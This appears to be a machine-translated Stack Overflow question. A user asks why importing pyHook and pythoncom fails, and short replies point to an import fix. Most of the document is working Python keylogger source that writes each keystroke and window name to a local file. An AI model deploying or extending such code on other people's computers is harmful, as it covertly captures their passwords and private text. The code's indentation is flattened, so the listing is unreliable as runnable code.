0
因此,在我的代码中,我安装了所有我正在使用的模块,但是我总是收到错误,说找不到模块。请帮忙谢谢。即使安装了模块,也得到“ModuleNotFoundError:No module named'pyHook'”
代码:
import pyHook, pythoncom, sys, logging , os , winsound , time
date = "C:\\Users\\Cameron PC\\Desktop\\Essays\\files\\keyloggeroutput"
date += time.strftime("%d.%m.%Y") + ".txt"
x = time.ctime()
with open(date, "a") as f:
f.write("\n")
f.write("[" + x + "] : ")
def OnKeyboardEvent(event):
global x
if event.Key =="Return" :
with open(date, "a") as f:
f.write(" {Enter}\n")
f.write("[" + x +"|"+event.WindowName + "] : ")
elif event.Key == "Space" :
with open(date, "a") as f:
f.write(" ")
elif event.Key == "Back" :
with open(date, "a") as f:
f.write("{Bkspc}")
else :
with open(date, "a") as f:
f.write(event.Key)
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
感谢队友,修复了pyHook的问题,但我仍然得到与Pythoncom相同的问题,当我做点东西,我得到一个长长的红色代码,它不能在python中工作。 –
你可以阅读[这里](https://stackoverflow.com/questions/4145079/importerror-no-module-named-pythoncom)pythoncom的帮助。请问接受答案是否解决了你的问题。 –
Tnx,请更新pythoncom lib问题是否已修复。 –